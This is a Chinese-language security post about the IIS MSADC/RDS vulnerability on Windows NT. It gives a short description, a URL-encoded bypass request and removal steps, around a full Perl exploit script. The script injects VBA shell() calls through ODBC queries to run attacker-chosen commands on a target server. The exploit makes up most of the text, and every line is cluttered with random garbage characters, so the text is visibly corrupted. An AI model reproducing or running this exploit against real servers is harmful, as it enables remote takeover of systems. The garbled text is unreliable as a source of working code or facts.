IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
q#I'@Jbj KhP_ U{)D 涉及程序：
U&{w:P Microsoft NT server
8aC=k @YE _n !>*A! 描述：
mIp> ~ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
~:PM_o*6 oO`a {n- 详细：
A:D 9qp 如果你没有时间读详细内容的话，就删除:
^FQn\, c:\Program Files\Common Files\System\Msadc\msadcs.dll
3aB E[ 有关的安全问题就没有了。
~kj96w4eAR ?m+];SJk 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
%IE;'aa
} B2* 7H 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Ke3~o"IQ 关于利用ODBC远程漏洞的描述，请参看:
WPrBK{B`o E:k ]Z http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm e igVT4 FCOa|IKsN 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
%W$b2N{l http://www.microsoft.com/security/bulletins/MS99-025faq.asp .o5K X* VbMud]40F 这里不再论述。
P-$ , {0n p 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
M2R krW# = =gL!e{ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
mdQe)> 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
AWP grv / S8+l!$7 ya5HAs #将下面这段保存为txt文件，然后: "perl -x 文件名"
if*~cPnN aMxj{*v7 #!perl
~l?c.CS d #
yPe9KN_ # MSADC/RDS 'usage' (aka exploit) script
,fTC}> s4 #
>mp Nn # by rain.forest.puppy
mPqK k #
:-<30LS $ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
n qx0#_K-E # beta test and find errors!
63_#*6Pv28 jUl_ToX use Socket; use Getopt::Std;
5''k|B> getopts("e:vd:h:XR", \%args);
cH$( *k9%M wq,&0P-v print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
7cWeB5 e?O [i.c;'Wy/ if (!defined $args{h} && !defined $args{R}) {
e=p_qhBt print qq~
6rWq
hIaI Usage: msadc.pl -h <host> { -d <delay> -X -v }
N6p0` -h <host> = host you want to scan (ip or domain)
)V+/@ 4 -d <seconds> = delay between calls, default 1 second
\ykA7Y% -X = dump Index Server path table, if available
6d6Dk>(V -v = verbose
K7.ayM 0 -e = external dictionary file for step 5
&/2+'wCp5 "L `BuAB Or a -R will resume a command session
{O).! !fd>wvJ,: ~; exit;}
0VNpd~G$ r..f$FF)\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
c`hENPhW if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
zHg=K / if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
7HY8 F5Brx if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
w |6?A- $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
#G?#ot2o if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
f* 88k='\W y29G#Y4J if (!defined $args{R}){ $ret = &has_msadc;
}EHL
}Q die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
v Jct)i Csp $_uDi print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=8TBkxG . "cmd /c ";
;I80<SZ $in=<STDIN>; chomp $in;
=./PY1 0' $command="cmd /c " . $in ;
:f%kk atO JUj.:n2e if (defined $args{R}) {&load; exit;}
(CH6Q]Wi_! yi Xb<g+B print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
.iP>?9$f" &try_btcustmr;
@Q{:m)\ nT2b"wkTT print "\nStep 2: Trying to make our own DSN...";
1{]S[\F] &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Y,yU460T8 s]`6u yW" print "\nStep 3: Trying known DSNs...";
%C #Ps &known_dsn;
#`= >Mza WA1yA*S print "\nStep 4: Trying known .mdbs...";
\ZhkOl &known_mdb;
0S4Y3bac& n[qnrk*3
% if (defined $args{e}){
/. rj\, print "\nStep 5: Trying dictionary of DSN names...";
,3eN& &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
}.U(Gxu$ $bF+J8%D print "Sorry Charley...maybe next time?\n";
c +7I exit;
|
2<zYY WBJn1 ##############################################################################
.HGK 3 q[W@.[2y) sub sendraw { # ripped and modded from whisker
uHbbPtk sleep($delay); # it's a DoS on the server! At least on mine...
7QZy d- my ($pstr)=@_;
xXI WEZA socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
I(3~BOUn_ die("Socket problems\n");
|; mET
if(connect(S,pack "SnA4x8",2,80,$target)){
& e3}Vop select(S); $|=1;
yw% E S print $pstr; my @in=<S>;
s?; V!t select(STDOUT); close(S);
'/ Vm[L$d return @in;
U HTxNK@} } else { die("Can't connect...\n"); }}
Q% !xw( aO ?KRn ##############################################################################
5T9[a q o-|.I sub make_header { # make the HTTP request
'qo(GGC M my $msadc=<<EOT
X t:j~cVA POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
lA4J# User-Agent: ACTIVEDATA
I7 SFG O Host: $ip
"?<`]WG\ Content-Length: $clen
`WxGU Connection: Keep-Alive
N>sT@ >
) U UtS me ADCClientVersion:01.06
X|g5tnsj` Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
qC& xuu| 4DP<)KX --!ADM!ROX!YOUR!WORLD!
E5|GP Content-Type: application/x-varg
t1oT Z Content-Length: $reqlen
y,KZp2 j n>:e8KVM; EOT
CN-4FI)1D9 ; $msadc=~s/\n/\r\n/g;
; Z;` BGZJ return $msadc;}
cFJZ|Ld C R't ##############################################################################
+]yVSns
3 'Cz]p~oF sub make_req { # make the RDS request
eYjF"Aq my ($switch, $p1, $p2)=@_;
'cIFbjJ my $req=""; my $t1, $t2, $query, $dsn;
_U*1D*kLI[ x 2l}$(7 if ($switch==1){ # this is the btcustmr.mdb query
N >P" $ $query="Select * from Customers where City=" . make_shell();
kf~>%tES] $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
EL2z& $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2JeEmG9 [!} uj`e elsif ($switch==2){ # this is general make table query
Kuk@x.~0m $query="create table AZZ (B int, C varchar(10))";
yTe25l{QaF $dsn="$p1";}
fHI@'
'0 = M4wP3V/ elsif ($switch==3){ # this is general exploit table query
[ 5M! ' $query="select * from AZZ where C=" . make_shell();
VzcW9'"# $dsn="$p1";}
+:c}LCI9< yd45y}uS;F elsif ($switch==4){ # attempt to hork file info from index server
U}=H1f, $query="select path from scope()";
v] Xy^7? $dsn="Provider=MSIDXS;";}
n4"xVDL 3z#fFP@E elsif ($switch==5){ # bad query
eSMno_Gt3 $query="select";
1.~^QH\p?3 $dsn="$p1";}
.>y3`,0h $m+Pl[s $t1= make_unicode($query);
*_Pkb.3R $t2= make_unicode($dsn);
t)(>E'X
x $req = "\x02\x00\x03\x00";
8jLO-^X< < $req.= "\x08\x00" . pack ("S1", length($t1));
s>>lf&7 $req.= "\x00\x00" . $t1 ;
+K;%sAZy $req.= "\x08\x00" . pack ("S1", length($t2));
RzLeR%O $req.= "\x00\x00" . $t2 ;
Z%r8oj\n $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
-*?{/QmKb return $req;}
:4 " b(L M[R' ##############################################################################
I;P! $"=0{H.? sub make_shell { # this makes the shell() statement
^*~4[?]S return "'|shell(\"$command\")|'";}
*iPBpEWC d+8|aS<A ##############################################################################
A j> )hK;27m4 sub make_unicode { # quick little function to convert to unicode
UC00zW<Z@" my ($in)=@_; my $out;
H
a`V"X{} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
f-}_ return $out;}
>Y:veEa6v6 9!D
c= ##############################################################################
:{Iv
] d A2fuNV _ sub rdo_success { # checks for RDO return success (this is kludge)
n{c-3w.uD my (@in) = @_; my $base=content_start(@in);
|B),N f|a if($in[$base]=~/multipart\/mixed/){
' 1 \UFz return 1 if( $in[$base+10]=~/^\x09\x00/ );}
b3-+*5L return 0;}
)L, Nh~ &23t/` ##############################################################################
=VZ0+Y l M3)Id?|]6 sub make_dsn { # this makes a DSN for us
V t4,?" my @drives=("c","d","e","f");
y# lg)nB print "\nMaking DSN: ";
w / CD- foreach $drive (@drives) {
9v}vCg print "$drive: ";
|q_Hiap#a my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
GsE
=5A8 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
$[(FCS . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;, u7) $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
%Vsg4DRy return 0 if $2 eq "404"; # not found/doesn't exist
?T[K{t;~jo if($2 eq "200") {
L i`OaP$ foreach $line (@results) {
`{J(S'a` return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
>9Y0 t^Fl } return 0;}
_#o75*42tT *eUxarI ##############################################################################
]5eZLXM 7)Bizlf sub verify_exists {
o7:"Sl2AD my ($page)=@_;
~T'$gl my @results=sendraw("GET $page HTTP/1.0\n\n");
')E4N+h/ return $results[0];}
88atj+N] LO ,k'g g< ##############################################################################
DEpn> {_J1m&/ sub try_btcustmr {
NUX2{8gs my @drives=("c","d","e","f");
[\pp K C my @dirs=("winnt","winnt35","winnt351","win","windows");
ew 8Manx LB hDP5qF foreach $dir (@dirs) {
HwZ@T &_4 print "$dir -> "; # fun status so you can see progress
v;R+{ K87 foreach $drive (@drives) {
0 aiE 0b9c print "$drive: "; # ditto
T7 XbbU $reqlen=length( make_req(1,$drive,$dir) ) - 28;
D4QL lP $reqlenlen=length( "$reqlen" );
A4VV y~sd $clen= 206 + $reqlenlen + $reqlen;
zLV k7u{e :}fIu?hCA my @results=sendraw(make_header() . make_req(1,$drive,$dir));
"NO *(<C.R if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
eP|hxqM&9 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
",Fqpu&M bRc ~e@ ##############################################################################
[Z+E_Lbz (0bXsfe sub odbc_error {
Jd/XEs?<q my (@in)=@_; my $base;
K;(t@GL? my $base = content_start(@in);
JuXuS if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
dw< b}2 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
g6<D 1r $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[S T7CrwC
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.?-]+ -J?` return $in[$base+4].$in[$base+5].$in[$base+6];}
1BA5 | print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
A ]~%<=b print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
%; tBWyq}_ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
u=!n9W~" < o&\/uO~H ##############################################################################
$PKUcT0N9 Y \7/`ty sub verbose {
aboA9pwH my ($in)=@_;
l#%G~c8x return if !$verbose;
*Y9' tHI print STDOUT "\n$in\n";}
)u_[cE JHO ]A dL ##############################################################################
L@LT *M 83YQ c sub save {
U~[ tp1Z) my ($p1, $p2, $p3, $p4)=@_;
1ba* U~OEg open(OUT, ">rds.save") || print "Problem saving parameters...\n";
?O#,|\v?] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
V']1j close OUT;}
$3 ~ /H"K !5h@uar ##############################################################################
/7XVr"R u1i
?L' sub load {
G_n~1? my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}h `ddo open(IN,"<rds.save") || die("Couldn't open rds.save\n");
bjGQ 04da @p=<IN>; close(IN);
_^u^@.Q'i< $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
I r;Z+}4>Y $target= inet_aton($ip) || die("inet_aton problems");
_8nT$!\\ print "Resuming to $ip ...";
+h? z7ZY^ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
_f~m&="T! if($p[1]==1) {
T6p2=o&p $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
sBm/9vu $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
#_[W*-|L my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
RiM!LX if (rdo_success(@results)){print "Success!\n";}
8qQrJFm|3* else { print "failed\n"; verbose(odbc_error(@results));}}
+%RB&:K7, elsif ($p[1]==3){
@)p?!3{" if(run_query("$p[3]")){
O_ /|Wx print "Success!\n";} else { print "failed\n"; }}
~l>2NY elsif ($p[1]==4){
gpzZs<ST if(run_query($drvst . "$p[3]")){
SI@Yct]<g print "Success!\n"; } else { print "failed\n"; }}
9q
f= P3 exit;}
9Kd:7@U s~MC t|a ##############################################################################
qz /d6-0" B#;0 { sub create_table {
joJ:* oL my ($in)=@_;
7F D.3/ $reqlen=length( make_req(2,$in,"") ) - 28;
p*S;4+># $reqlenlen=length( "$reqlen" );
#sp8 !8|y $clen= 206 + $reqlenlen + $reqlen;
2XGbqZj my @results=sendraw(make_header() . make_req(2,$in,""));
$ACD6u6 return 1 if rdo_success(@results);
0}y-DCuQ my $temp= odbc_error(@results); verbose($temp);
@je vY81) return 1 if $temp=~/Table 'AZZ' already exists/;
%oEvp{ I return 0;}
x$\w^h \F _q dLA ##############################################################################
2
VGGSLr ac??lHtH9 sub known_dsn {
9J'3b < # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
h9L/.>CX my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
>n^[-SWJCT "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
>On"BP# U "banner", "banners", "ads", "ADCDemo", "ADCTest");
Ks-aJ+} v&*}O foreach $dSn (@dsns) {
%R [X_n= print ".";
9,zM.g9Qv next if (!is_access("DSN=$dSn"));
K+s
xO/}h if(create_table("DSN=$dSn")){
8cyC\Rs print "$dSn successful\n";
0ge^p O\Z if(run_query("DSN=$dSn")){
d8Kxtg
Y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
=C.WM*= ' print "Something's borked. Use verbose next time\n";}}} print "\n";}
@s@ 67\ 5.e.
BT ##############################################################################
9K` uGu !~~j&+hK\ sub is_access {
xg2
& my ($in)=@_;
nzK"eNDN. $reqlen=length( make_req(5,$in,"") ) - 28;
3?R QPP $reqlenlen=length( "$reqlen" );
:},/ D*v $clen= 206 + $reqlenlen + $reqlen;
wam- =3W my @results=sendraw(make_header() . make_req(5,$in,""));
86,$ I+ my $temp= odbc_error(@results);
uuMHD{}?} verbose($temp); return 1 if ($temp=~/Microsoft Access/);
,dIo\Lm return 0;}
"G`8>1tO_ .}l&lj@# ##############################################################################
@Ui dQX"b {<3 >^ o|" sub run_query {
;Jrk#7 my ($in)=@_;
Yi+~}YP.E( $reqlen=length( make_req(3,$in,"") ) - 28;
ep3iI77/ $reqlenlen=length( "$reqlen" );
/4Lmu+G4 $clen= 206 + $reqlenlen + $reqlen;
?nAKB5= my @results=sendraw(make_header() . make_req(3,$in,""));
3qc o2{nz return 1 if rdo_success(@results);
t,yz qn
my $temp= odbc_error(@results); verbose($temp);
2i3& 3oz]O return 0;}
pD>^Dfd Ma`Goi\vFk ##############################################################################
? hQ,'M2 WaRYrTDv64 sub known_mdb {
1"82JN|! my @drives=("c","d","e","f","g");
M% NapK my @dirs=("winnt","winnt35","winnt351","win","windows");
@ .fyOyOC my $dir, $drive, $mdb;
XiB]I5(hcc my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
g$f ; 8>|@O<2\ # this is sparse, because I don't know of many
=
5 E:C P my @sysmdbs=( "\\catroot\\icatalog.mdb",
=':,oz^| "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
}@V ,v[&e "\\system32\\certmdb.mdb",
dn1Tu6f;| "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
PNbs7 f 20t</lq. my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
/:}z*a "\\cfusion\\cfapps\\forums\\forums_.mdb",
hoQ?8}r: "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
#`0iN+qh "\\cfusion\\cfapps\\security\\realm_.mdb",
7o4 vf~ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
rGe^$!QB "\\cfusion\\database\\cfexamples.mdb",
^{W#ut>IN "\\cfusion\\database\\cfsnippets.mdb",
cs%NsnZ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Um$a9S8b& "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
ymsqJ "\\cfusion\\brighttiger\\database\\cleam.mdb",
Mwdw7MZ"S "\\cfusion\\database\\smpolicy.mdb",
69v[* InSd "\\cfusion\\database\cypress.mdb",
] cv|A^ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
0+\~^ "\\website\\cgi-win\\dbsample.mdb",
?Ze3t5Ll "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
YTco;5/ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
^< e"OV ); #these are just
o\luE{H
.? foreach $drive (@drives) {
(qP !x 2j foreach $dir (@dirs){
0P_Y6w+ foreach $mdb (@sysmdbs) {
QJG]z'c+ print ".";
63$ R') if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
2ju1<t,8) print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
ib OXh U if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
D^ Z~>D6 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
A_t<SG5
} else { print "Something's borked. Use verbose next time\n"; }}}}}
O;A/(lPW+ ]rh)AE!Y( foreach $drive (@drives) {
JAA P5ur foreach $mdb (@mdbs) {
h ,@x5q>g print ".";
&\C{,:[ if(create_table($drv . $drive . $dir . $mdb)){
uK?T <3]' print "\n" . $drive . $dir . $mdb . " successful\n";
Z6 b3gV if(run_query($drv . $drive . $dir . $mdb)){
BX),U print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
-B V&u( } else { print "Something's borked. Use verbose next time\n"; }}}}
XU0"f!23x }
;D/'7f7.} t3/!es ay ##############################################################################
omV.Qb'NS VmTk4?V4 sub hork_idx {
|jV4]7Luq print "\nAttempting to dump Index Server tables...\n";
dBG] J18 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
'Ph4( Yg $reqlen=length( make_req(4,"","") ) - 28;
K@{jY\AZNx $reqlenlen=length( "$reqlen" );
`.dT k L $clen= 206 + $reqlenlen + $reqlen;
^}8_tZs8\ my @results=sendraw2(make_header() . make_req(4,"",""));
f (
`.q if (rdo_success(@results)){
)^!-Aj \x my $max=@results; my $c; my %d;
utwh"E&W for($c=19; $c<$max; $c++){
<,0& Ox $results[$c]=~s/\x00//g;
tS 2lex% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
eT +MN` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
5b B[o6+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
-o#0 Yt}3 $d{"$1$2"}="";}
B`hxF(_p/ foreach $c (keys %d){ print "$c\n"; }
LFSO HJj } else {print "Index server doesn't seem to be installed.\n"; }}
su=.4JcK 9GZF39w u ##############################################################################
d1j v>tu LM _4.J sub dsn_dict {
&V( LeSI open(IN, "<$args{e}") || die("Can't open external dictionary\n");
w H#k~`M while(<IN>){
,)L.^< $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
&TbnZnv next if (!is_access("DSN=$dSn"));
!wrl.A/P if(create_table("DSN=$dSn")){
Dz )bP{iq" print "$dSn successful\n";
oRu S_X if(run_query("DSN=$dSn")){
TF^]^XS' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3iWLo Qm print "Something's borked. Use verbose next time\n";}}}
c_^H;~^rL print "\n"; close(IN);}
`p^M\!h*O qrX6FI ##############################################################################
4
q W)R{% n ?,fF( sub sendraw2 { # ripped and modded from whisker
bM^'q sleep($delay); # it's a DoS on the server! At least on mine...
72-@!Z0e my ($pstr)=@_;
`hl yN]L socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
z|P& 8#txM die("Socket problems\n");
wU#Q>ut'% if(connect(S,pack "SnA4x8",2,80,$target)){
9 I RE@c print "Connected. Getting data";
!9)*. 9[8 open(OUT,">raw.out"); my @in;
n?
s4"N6 select(S); $|=1; print $pstr;
{8 jG6 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Q|G[9HBI close(OUT); select(STDOUT); close(S); return @in;
>8NQ8i=]V1 } else { die("Can't connect...\n"); }}
5. l&nt' q>omCk%h ##############################################################################
|J}~a8 o 3\@6i' sub content_start { # this will take in the server headers
[1vrv(u> my (@in)=@_; my $c;
\+Cp <Hv+ for ($c=1;$c<500;$c++) {
xD lC]loi7 if($in[$c] =~/^\x0d\x0a/){
:,VyOmf if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
K->p&6s else { return $c+1; }}}
hcaH return -1;} # it should never get here actually
3 oWCQ 7SqsVq`[~ ##############################################################################
+vbNZqwz 4t8 Hy sub funky {
Vfw $>og! my (@in)=@_; my $error=odbc_error(@in);
< g %xo" if($error=~/ADO could not find the specified provider/){
;%82Z4 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
d#z67Nl6 exit;}
"{0kg'fU if($error=~/A Handler is required/){
3 S 5QqAm print "\nServer has custom handler filters (they most likely are patched)\n";
/r?X33D! exit;}
0^[$0]Mt[ if($error=~/specified Handler has denied Access/){
fg1 zT~ print "\nServer has custom handler filters (they most likely are patched)\n";
=q"3a9 pb7 exit;}}
Ahebr{u X>wQYIi ##############################################################################
nEn2!)$ c& _ 3"2: sub has_msadc {
gh
0\ 9;h my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
/V*eAn8> my $base=content_start(@results);
tIvtiN6[|l return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
V?rI,'F>N return 0;}
]JM9 ^F HxM-VK ' ########################
!{3pp )t. q [O` $ ` ho+ 解决方案：
-J6}7>4^8} 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
g+CH F?O 2、移除web 目录: /msadc
